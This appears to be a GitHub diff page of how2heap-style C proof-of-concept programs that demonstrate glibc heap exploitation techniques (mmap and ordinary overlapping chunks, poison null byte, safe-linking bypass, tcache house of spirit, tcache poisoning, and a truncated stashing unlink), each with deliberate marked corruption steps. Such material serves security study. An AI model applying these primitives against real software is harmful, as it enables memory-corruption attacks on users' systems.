#include <stdlib.h> | ||
#include <stdio.h> | ||
#include <assert.h> | ||
|
||
/* | ||
Technique should work on all versions of GLibC | ||
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g` | ||
POC written by POC written by Maxwell Dulin (Strikeout) | ||
*/ | ||
int main(){ | ||
/* | ||
A primer on Mmap chunks in GLibC | ||
================================== | ||
In GLibC, there is a point where an allocation is so large that malloc | ||
decides that we need a seperate section of memory for it, instead | ||
of allocating it on the normal heap. This is determined by the mmap_threshold var. | ||
Instead of the normal logic for getting a chunk, the system call *Mmap* is | ||
used. This allocates a section of virtual memory and gives it back to the user. | ||
Similarly, the freeing process is going to be different. Instead | ||
of a free chunk being given back to a bin or to the rest of the heap, | ||
another syscall is used: *Munmap*. This takes in a pointer of a previously | ||
allocated Mmap chunk and releases it back to the kernel. | ||
Mmap chunks have special bit set on the size metadata: the second bit. If this | ||
bit is set, then the chunk was allocated as an Mmap chunk. | ||
Mmap chunks have a prev_size and a size. The *size* represents the current | ||
size of the chunk. The *prev_size* of a chunk represents the left over space | ||
from the size of the Mmap chunk (not the chunks directly belows size). | ||
However, the fd and bk pointers are not used, as Mmap chunks do not go back | ||
into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of | ||
the chunk must be page-aligned. | ||
The POC below is essentially an overlapping chunk attack but on mmap chunks. | ||
This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. | ||
The main difference is that mmapped chunks have special properties and are | ||
handled in different ways, creating different attack scenarios than normal | ||
overlapping chunk attacks. There are other things that can be done, | ||
such as munmapping system libraries, the heap itself and other things. | ||
This is meant to be a simple proof of concept to demonstrate the general | ||
way to perform an attack on an mmap chunk. | ||
For more information on mmap chunks in GLibC, read this post: | ||
http://tukan.farm/2016/07/27/munmap-madness/ | ||
*/ | ||
|
||
int* ptr1 = malloc(0x10); | ||
|
||
printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n"); | ||
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n"); | ||
printf("of memory, instead of being put onto the normal heap.\n"); | ||
puts("=======================================================\n"); | ||
printf("Allocating three extremely large heap chunks of size 0x100000 \n\n"); | ||
|
||
long long* top_ptr = malloc(0x100000); | ||
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr); | ||
|
||
// After this, all chunks are allocated downwards in memory towards the heap. | ||
long long* mmap_chunk_2 = malloc(0x100000); | ||
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2); | ||
|
||
long long* mmap_chunk_3 = malloc(0x100000); | ||
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3); | ||
|
||
printf("\nCurrent System Memory Layout \n" \ | ||
"================================================\n" \ | ||
"running program\n" \ | ||
"heap\n" \ | ||
"....\n" \ | ||
"third mmap chunk\n" \ | ||
"second mmap chunk\n" \ | ||
"LibC\n" \ | ||
"....\n" \ | ||
"ld\n" \ | ||
"first mmap chunk\n" | ||
"===============================================\n\n" \ | ||
); | ||
|
||
printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]); | ||
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]); | ||
|
||
printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n"); | ||
printf("This will cause both chunks to be Munmapped and given back to the system\n"); | ||
printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n"); | ||
|
||
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below. | ||
// Additionally, this same attack can be used with the prev_size instead of the size. | ||
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; | ||
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]); | ||
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n"); | ||
|
||
/* | ||
This next call to free is actually just going to call munmap on the pointer we are passing it. | ||
The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845 | ||
With normal frees the data is still writable and readable (which creates a use after free on | ||
the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this | ||
data is read or written to, the program crashes. | ||
Because of this added restriction, the main goal is to get the memory back from the system | ||
to have two pointers assigned to the same location. | ||
*/ | ||
// Munmaps both the second and third pointers | ||
free(mmap_chunk_3); | ||
|
||
/* | ||
Would crash, if on the following: | ||
mmap_chunk_2[0] = 0xdeadbeef; | ||
This is because the memory would not be allocated to the current program. | ||
*/ | ||
|
||
/* | ||
Allocate a very large chunk with malloc. This needs to be larger than | ||
the previously freed chunk because the mmapthreshold has increased to 0x202000. | ||
If the allocation is not larger than the size of the largest freed mmap | ||
chunk then the allocation will happen in the normal section of heap memory. | ||
*/ | ||
printf("Get a very large chunk from malloc to get mmapped chunk\n"); | ||
printf("This should overlap over the previously munmapped/freed chunks\n"); | ||
long long* overlapping_chunk = malloc(0x300000); | ||
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk); | ||
printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]); | ||
|
||
// Gets the distance between the two pointers. | ||
int distance = mmap_chunk_2 - overlapping_chunk; | ||
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance); | ||
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]); | ||
|
||
// Set the value of the overlapped chunk. | ||
printf("Setting the value of the overlapped chunk\n"); | ||
overlapping_chunk[distance] = 0x1122334455667788; | ||
|
||
// Show that the pointer has been written to. | ||
printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]); | ||
printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]); | ||
printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n"); | ||
assert(mmap_chunk_2[0] == overlapping_chunk[distance]); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
/* | ||
A simple tale of overlapping chunk. | ||
This technique is taken from | ||
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf | ||
*/ | ||
|
||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <stdint.h> | ||
#include <assert.h> | ||
|
||
int main(int argc , char* argv[]) | ||
{ | ||
setbuf(stdout, NULL); | ||
|
||
long *p1,*p2,*p3,*p4; | ||
printf("\nThis is another simple chunks overlapping problem\n"); | ||
printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" | ||
"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" | ||
"and the prev_size of it must match the unsortedbin's size\n" | ||
"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); | ||
|
||
printf("Let's start to allocate 4 chunks on the heap\n"); | ||
|
||
p1 = malloc(0x80 - 8); | ||
p2 = malloc(0x500 - 8); | ||
p3 = malloc(0x80 - 8); | ||
|
||
printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); | ||
|
||
memset(p1, '1', 0x80 - 8); | ||
memset(p2, '2', 0x500 - 8); | ||
memset(p3, '3', 0x80 - 8); | ||
|
||
printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); | ||
int evil_chunk_size = 0x581; | ||
int evil_region_size = 0x580 - 8; | ||
printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", | ||
evil_chunk_size, evil_region_size); | ||
|
||
/* VULNERABILITY */ | ||
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 | ||
/* VULNERABILITY */ | ||
|
||
printf("\nNow let's free the chunk p2\n"); | ||
free(p2); | ||
printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); | ||
|
||
printf("\nNow let's allocate another chunk with a size equal to the data\n" | ||
"size of the chunk p2 injected size\n"); | ||
printf("This malloc will be served from the previously freed chunk that\n" | ||
"is parked in the unsorted bin which size has been modified by us\n"); | ||
p4 = malloc(evil_region_size); | ||
|
||
printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); | ||
printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8); | ||
printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); | ||
|
||
printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," | ||
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); | ||
|
||
printf("Let's run through an example. Right now, we have:\n"); | ||
printf("p4 = %s\n", (char *)p4); | ||
printf("p3 = %s\n", (char *)p3); | ||
|
||
printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); | ||
memset(p4, '4', evil_region_size); | ||
printf("p4 = %s\n", (char *)p4); | ||
printf("p3 = %s\n", (char *)p3); | ||
|
||
printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); | ||
memset(p3, '3', 80); | ||
printf("p4 = %s\n", (char *)p4); | ||
printf("p3 = %s\n", (char *)p3); | ||
|
||
assert(strstr((char *)p4, (char *)p3)); | ||
} | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,161 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <assert.h> | ||
|
||
int main() | ||
{ | ||
setbuf(stdin, NULL); | ||
setbuf(stdout, NULL); | ||
|
||
puts("Welcome to poison null byte!"); | ||
puts("Tested in Ubuntu 20.04 64bit."); | ||
puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte."); | ||
|
||
puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n"); | ||
|
||
// step1: allocate padding | ||
puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00"); | ||
void *tmp = malloc(0x1); | ||
void *heap_base = (void *)((long)tmp & (~0xfff)); | ||
printf("heap address: %p\n", heap_base); | ||
size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20; | ||
printf("Calculate padding chunk size: 0x%lx\n", size); | ||
puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes."); | ||
void *padding= malloc(size); | ||
|
||
// step2: allocate prev chunk and victim chunk | ||
puts("\nStep2: allocate two chunks adjacent to each other."); | ||
puts("Let's call the first one 'prev' and the second one 'victim'."); | ||
void *prev = malloc(0x500); | ||
void *victim = malloc(0x4f0); | ||
puts("malloc(0x10) to avoid consolidation"); | ||
malloc(0x10); | ||
printf("prev chunk: malloc(0x500) = %p\n", prev); | ||
printf("victim chunk: malloc(0x4f0) = %p\n", victim); | ||
|
||
// step3: link prev into largebin | ||
puts("\nStep3: Link prev into largebin"); | ||
puts("This step is necessary for us to forge a fake chunk later"); | ||
puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk"); | ||
puts("allocate a chunk 'a' with size a little bit smaller than prev's"); | ||
void *a = malloc(0x4f0); | ||
printf("a: malloc(0x4f0) = %p\n", a); | ||
puts("malloc(0x10) to avoid consolidation"); | ||
malloc(0x10); | ||
puts("allocate a chunk 'b' with size a little bit larger than prev's"); | ||
void *b = malloc(0x510); | ||
printf("b: malloc(0x510) = %p\n", b); | ||
puts("malloc(0x10) to avoid consolidation"); | ||
malloc(0x10); | ||
|
||
puts("\nCurrent Heap Layout\n" | ||
" ... ...\n" | ||
"padding\n" | ||
" prev Chunk(addr=0x??0010, size=0x510)\n" | ||
" victim Chunk(addr=0x??0520, size=0x500)\n" | ||
" barrier Chunk(addr=0x??0a20, size=0x20)\n" | ||
" a Chunk(addr=0x??0a40, size=0x500)\n" | ||
" barrier Chunk(addr=0x??0f40, size=0x20)\n" | ||
" b Chunk(addr=0x??0f60, size=0x520)\n" | ||
" barrier Chunk(addr=0x??1480, size=0x20)\n"); | ||
|
||
puts("Now free a, b, prev"); | ||
free(a); | ||
free(b); | ||
free(prev); | ||
puts("current unsorted_bin: header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\n"); | ||
|
||
puts("Allocate a huge chunk to enable sorting"); | ||
malloc(0x1000); | ||
puts("current large_bin: header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\n"); | ||
|
||
puts("This will add a, b and prev to largebin\nNow prev is in largebin"); | ||
printf("The fd_nextsize of prev points to a: %p\n", ((void **)prev)[2]+0x10); | ||
printf("The bk_nextsize of prev points to b: %p\n", ((void **)prev)[3]+0x10); | ||
|
||
// step4: allocate prev again to construct fake chunk | ||
puts("\nStep4: Allocate prev again to construct the fake chunk"); | ||
puts("Since large chunk is sorted by size and a's size is smaller than prev's,"); | ||
puts("we can allocate 0x500 as before to take prev out"); | ||
void *prev2 = malloc(0x500); | ||
printf("prev2: malloc(0x500) = %p\n", prev2); | ||
puts("Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b"); | ||
assert(prev == prev2); | ||
|
||
puts("The fake chunk is contained in prev and the size is smaller than prev's size by 0x10"); | ||
puts("So set its size to 0x501 (0x510-0x10 | flag)"); | ||
((long *)prev)[1] = 0x501; | ||
puts("And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check"); | ||
*(long *)(prev + 0x500) = 0x500; | ||
printf("The fake chunk should be at: %p\n", prev + 0x10); | ||
puts("use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk"); | ||
puts("Now we have fake_chunk->fd == a and fake_chunk->bk == b"); | ||
|
||
// step5: bypass unlinking | ||
puts("\nStep5: Manipulate residual pointers to bypass unlinking later."); | ||
puts("Take b out first by allocating 0x510"); | ||
void *b2 = malloc(0x510); | ||
printf("Because of the residual pointers in b, b->fd points to a right now: %p\n", ((void **)b2)[0]+0x10); | ||
printf("We can overwrite the least significant two bytes to make it our fake chunk.\n" | ||
"If the lowest 2nd byte is not \\x00, we need to guess what to write now\n"); | ||
((char*)b2)[0] = '\x10'; | ||
((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk | ||
printf("After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n", ((void **)b2)[0]); | ||
|
||
puts("To do the same to a, we can move it to unsorted bin first" | ||
"by taking it out from largebin and free it into unsortedbin"); | ||
void *a2 = malloc(0x4f0); | ||
free(a2); | ||
puts("Now free victim into unsortedbin so that a->bck points to victim"); | ||
free(victim); | ||
printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim); | ||
puts("Again, we take a out and overwrite a->bck to fake chunk"); | ||
void *a3 = malloc(0x4f0); | ||
((char*)a3)[8] = '\x10'; | ||
((char*)a3)[9] = '\x00'; | ||
printf("After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n", ((void **)a3)[1]); | ||
// pass unlink_chunk in malloc.c: | ||
// mchunkptr fd = p->fd; | ||
// mchunkptr bk = p->bk; | ||
// if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) | ||
// malloc_printerr ("corrupted double-linked list"); | ||
puts("And we have:\n" | ||
"fake_chunk->fd->bk == a->bk == fake_chunk\n" | ||
"fake_chunk->bk->fd == b->fd == fake_chunk\n" | ||
); | ||
|
||
// step6: add fake chunk into unsorted bin by off-by-null | ||
puts("\nStep6: Use backward consolidation to add fake chunk into unsortedbin"); | ||
puts("Take victim out from unsortedbin"); | ||
void *victim2 = malloc(0x4f0); | ||
printf("%p\n", victim2); | ||
puts("off-by-null into the size of vicim"); | ||
/* VULNERABILITY */ | ||
((char *)victim2)[-8] = '\x00'; | ||
/* VULNERABILITY */ | ||
|
||
puts("Now if we free victim, libc will think the fake chunk is a free chunk above victim\n" | ||
"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\n" | ||
"add the merged chunk into unsortedbin." | ||
); | ||
printf("For our fake chunk, because of what we did in step4,\n" | ||
"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\n" | ||
"so the unlink will succeed\n", ((void **)a3)[1], prev, ((void **)b2)[0], prev); | ||
free(victim); | ||
puts("After freeing the victim, the new merged chunk is added to unsorted bin" | ||
"And it is overlapped with the prev chunk"); | ||
|
||
// step7: validate the chunk overlapping | ||
puts("Now let's validate the chunk overlapping"); | ||
void *merged = malloc(0x100); | ||
printf("merged: malloc(0x100) = %p\n", merged); | ||
memset(merged, 'A', 0x80); | ||
printf("Now merged's content: %s\n", (char *)merged); | ||
|
||
puts("Overwrite prev's content"); | ||
memset(prev2, 'C', 0x80); | ||
printf("merged's content has changed to: %s\n", (char *)merged); | ||
|
||
assert(strstr(merged, "CCCCCCCCC")); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,128 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <assert.h> | ||
|
||
/* | ||
* This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. | ||
* https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41 | ||
* | ||
* NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will | ||
* contain 4 bits of randomness. If you can increment integers, no brutefore is required. | ||
* | ||
* Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. | ||
* It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache. | ||
* | ||
* When an entry is linked in to the t-cache, the address is XOR'd with the address that free is | ||
* called on, shifted by 12 bits. However if you were to link this newly protected pointer, it | ||
* would be XOR'd again with the same key, effectively reverting the protection. | ||
* Thus, by simply protecting a pointer twice we effectively achieve the following: | ||
* | ||
* (ptr^key)^key = ptr | ||
* | ||
* The technique requires control over the t-cache metadata, so pairing it with a technique such as | ||
* house of water might be favourable. | ||
* | ||
* Technique by @udp_ctf - Water Paddler / Blue Water | ||
*/ | ||
|
||
int main(void) { | ||
// Prevent _IO_FILE from buffering in the heap | ||
setbuf(stdin, NULL); | ||
setbuf(stdout, NULL); | ||
setbuf(stderr, NULL); | ||
|
||
// Create the goal stack buffer | ||
char goal[] = "Replace me!"; | ||
puts("============================================================"); | ||
printf("Our goal is to write to the stack variable @ %p\n", goal); | ||
printf("String contains: %s\n", goal); | ||
puts("============================================================"); | ||
puts("\n"); | ||
|
||
// Step 1: Allocate | ||
puts("Allocate two chunks in two different t-caches:"); | ||
|
||
// Allocate two chunks of size 0x38 for 0x40 t-cache | ||
puts("\t- 0x40 chunks:"); | ||
void *a = malloc(0x38); | ||
void *b = malloc(0x38); | ||
printf("\t\t* Entry a @ %p\n", a); | ||
printf("\t\t* Entry b @ %p\n", b); | ||
|
||
// Allocate two chunks of size 0x18 for 0x20 t-cache | ||
void *c = malloc(0x18); | ||
void *d = malloc(0x18); | ||
puts("\t- 0x20 chunks:"); | ||
printf("\t\t* Entry c @ %p\n", c); | ||
printf("\t\t* Entry d @ %p\n", d); | ||
puts(""); | ||
|
||
// Step 2: Write an arbitrary value (or note the offset to an exsisting value) | ||
puts("Allocate a pointer which will contain a pointer to the stack variable:"); | ||
|
||
// Allocate a chunk and store a modified pointer to the 'goal' array. | ||
void *value = malloc(0x28); | ||
// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur | ||
*(long *)value = ((long)(goal) & ~(0xf)); | ||
|
||
printf("\t* Arbitrary value (0x%lx) written to %p\n", *(long*)value, value); | ||
puts(""); | ||
|
||
// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches | ||
puts("Free the 0x40 and 0x20 chunks to populate the t-caches"); | ||
|
||
puts("\t- Free 0x40 chunks:"); | ||
// Free the allocated 0x38 chunks to populate the 0x40 t-cache | ||
free(a); | ||
free(b); | ||
printf("\t\t> 0x40 t-cache: [%p -> %p]\n", b, a); | ||
|
||
puts("\t- Free the 0x20 chunks"); | ||
// Free the allocated 0x18 chunks to populate the 0x20 t-cache | ||
free(c); | ||
free(d); | ||
printf("\t\t> 0x20 t-cache: [%p -> %p]\n", d, c); | ||
puts(""); | ||
|
||
// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability | ||
puts("Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, "); | ||
puts("by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:"); | ||
|
||
// Calculate the address of the t-cache metadata | ||
void *metadata = (void *)((long)(value) & ~(0xfff)); | ||
|
||
// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value | ||
*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff)); | ||
|
||
printf("\t\t> 0x40 t-cache: [%p -> 0x%lx]\n", value, (*(long*)value)^((long)metadata>>12)); | ||
puts(""); | ||
|
||
puts("Allocate once to make the protected pointer the current entry in the 0x40 bin:"); | ||
void *_ = malloc(0x38); | ||
printf("\t\t> 0x40 t-cache: [0x%lx]\n", *(unsigned long*)(metadata+0xa0)); | ||
puts(""); | ||
|
||
/* VULNERABILITY */ | ||
puts("Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:"); | ||
*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0; | ||
printf("\t\t> 0x20 t-cache: [0x%lx -> 0x%lx]\n", (long)(metadata)+0xa0, *(long*)value); | ||
puts(""); | ||
/* VULNERABILITY */ | ||
|
||
// Step 5: Allocate twice to allocate the arbitrary value | ||
puts("Allocate twice to gain a pointer to our arbitrary value"); | ||
|
||
_ = malloc(0x18); | ||
printf("\t\t> First 0x20 allocation: %p\n", _); | ||
|
||
char *vuln = malloc(0x18); | ||
printf("\t\t> Second 0x20 allocation: %p\n", vuln); | ||
puts(""); | ||
|
||
// Step 6: Overwrite the goal string pointer and verify it has been changed | ||
strcpy(vuln, "XXXXXXXXXXX HIJACKED!"); | ||
|
||
printf("String now contains: %s\n", goal); | ||
assert(strcmp(goal, "Replace me!") != 0); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <assert.h> | ||
|
||
int main() | ||
{ | ||
setbuf(stdout, NULL); | ||
|
||
printf("This file demonstrates the house of spirit attack on tcache.\n"); | ||
printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); | ||
printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); | ||
printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); | ||
|
||
printf("Ok. Let's start with the example!.\n\n"); | ||
|
||
|
||
printf("Calling malloc() once so that it sets up its memory.\n"); | ||
malloc(1); | ||
|
||
printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); | ||
unsigned long long *a; //pointer that will be overwritten | ||
unsigned long long fake_chunks[10]; //fake chunk region | ||
|
||
printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); | ||
|
||
printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); | ||
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); | ||
fake_chunks[1] = 0x40; // this is the size | ||
|
||
|
||
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); | ||
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); | ||
|
||
a = &fake_chunks[2]; | ||
|
||
printf("Freeing the overwritten pointer.\n"); | ||
free(a); | ||
|
||
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); | ||
void *b = malloc(0x30); | ||
printf("malloc(0x30): %p\n", b); | ||
|
||
assert((long)b == (long)&fake_chunks[2]); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <stdint.h> | ||
#include <assert.h> | ||
|
||
int main() | ||
{ | ||
// disable buffering | ||
setbuf(stdin, NULL); | ||
setbuf(stdout, NULL); | ||
|
||
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" | ||
"returning a pointer to an arbitrary location (in this case, the stack).\n" | ||
"The attack is very similar to fastbin corruption attack.\n"); | ||
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" | ||
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); | ||
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" | ||
"An heap address leak is needed to perform tcache poisoning.\n" | ||
"The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); | ||
|
||
size_t stack_var[0x10]; | ||
size_t *target = NULL; | ||
|
||
// choose a properly aligned target address | ||
for(int i=0; i<0x10; i++) { | ||
if(((long)&stack_var[i] & 0xf) == 0) { | ||
target = &stack_var[i]; | ||
break; | ||
} | ||
} | ||
assert(target != NULL); | ||
|
||
printf("The address we want malloc() to return is %p.\n", target); | ||
|
||
printf("Allocating 2 buffers.\n"); | ||
intptr_t *a = malloc(128); | ||
printf("malloc(128): %p\n", a); | ||
intptr_t *b = malloc(128); | ||
printf("malloc(128): %p\n", b); | ||
|
||
printf("Freeing the buffers...\n"); | ||
free(a); | ||
free(b); | ||
|
||
printf("Now the tcache list has [ %p -> %p ].\n", b, a); | ||
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" | ||
"to point to the location to control (%p).\n", sizeof(intptr_t), b, target); | ||
// VULNERABILITY | ||
// the following operation assumes the address of b is known, which requires a heap leak | ||
b[0] = (intptr_t)((long)target ^ (long)b >> 12); | ||
// VULNERABILITY | ||
printf("Now the tcache list has [ %p -> %p ].\n", b, target); | ||
|
||
printf("1st malloc(128): %p\n", malloc(128)); | ||
printf("Now the tcache list has [ %p ].\n", target); | ||
|
||
intptr_t *c = malloc(128); | ||
printf("2nd malloc(128): %p\n", c); | ||
printf("We got the control\n"); | ||
|
||
assert((long)target == (long)c); | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <assert.h> | ||
|
||
int main(){ | ||
unsigned long stack_var[0x10] = {0}; | ||
unsigned long *chunk_lis[0x10] = {0}; | ||
unsigned long *target; | ||
|
||
setbuf(stdout, NULL); | ||
|
||
printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); | ||
printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); | ||
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); | ||
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); | ||
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n"); | ||
|
||
// stack_var emulate the fake_chunk we want to alloc to | ||
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); | ||
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n"); | ||
|
||
stack_var[3] = (unsigned long)(&stack_var[2]); | ||
|
||
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); | ||
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); | ||
printf("Now we alloc 9 chunks with malloc.\n\n"); | ||
|
||
//now we malloc 9 chunks | ||
for(int i = 0;i < 9;i++){ | ||
chunk_lis[i] = (unsigned long*)malloc(0x90); | ||
} | ||
|
||
//put 7 chunks into tcache | ||
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n"); | ||
|
||
for(int i = 3;i < 9;i++){ | ||
free(chunk_lis[i]); | ||
} | ||
|
||
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); | ||
|
||
//last tcache bin | ||
free(chunk_lis[1]); | ||
